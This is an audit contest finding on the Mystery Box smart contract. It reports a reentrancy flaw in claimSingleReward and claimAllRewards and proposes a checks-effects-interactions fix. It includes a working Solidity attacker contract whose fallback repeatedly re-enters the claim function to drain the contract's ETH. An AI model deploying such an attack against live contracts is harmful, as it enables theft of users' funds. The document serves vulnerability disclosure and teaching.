Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in the functions claimSingleReward and claimAllRewards

ognjenovicuros

Summary

The functions claimAllRewards and claimSingleReward are vulnerable to reentrancy attacks due to improper state management, allowing an attacker to repeatedly drain the contract's funds.

Vulnerability Details

The reentrancy vulnerability arises from the fact that both claimAllRewards and claimSingleReward make external calls to the sender before updating the contract’s state. Specifically, the external call is made using the low level call to send ETH to the user, which can invoke a fallback function in a malicious contract, allowing the attacker to reenter the contract and repeatedly drain funds.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender];
}
​
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender][_index];
}

In both functions, the external call to msg.sender occurs before the state update (delete rewardsOwned[msg.sender] or delete rewardsOwned[msg.sender][_index]). This means that the external call could reenter the contract before the user's rewards are deleted, allowing them to claim rewards multiple times.

Impact

The attacker can reenter the contract during the external call and repeatedly claim rewards before the contract updates its internal state. This could result in the complete depletion of the contract's funds if not mitigated.

This is an example of the malicious contract:

contract Attack {
MysteryBox private s_target;
​
constructor(address target) {
s_target = MysteryBox(target);
}
​
fallback() external payable {
if (address(s_target).balance >= 0.1e18) {
s_target.claimSingleReward(0);
}
}
​
function attack() external {
s_target.buyBox{value: 0.1e18}();
s_target.openBox();
s_target.claimSingleReward(0);
}
}

Explanation of the exploit:

  1. The attacker starts by calling the buyBox function and sending 0.1 ETH.

  2. The attacker then calls openBox. If a reward is assigned (25% chance), they proceed to claim it.

  3. When claimSingleReward is called, the reward is transferred to the malicious contract.

  4. The fallback function is triggered, and claimSingleReward is called again in a loop until the contract's balance is drained.

A similar exploit can be used against the claimAllRewards function.

Tools Used

Manual inspection.

Recommendations

The contract should implement the CEI (Checks Effects Interactions) pattern and update the state variables before the call to an external address is made.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
delete rewardsOwned[msg.sender]; // Update the state variable here
​
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
​
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
​
delete rewardsOwned[msg.sender][_index]; // Update the state variable here
​
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!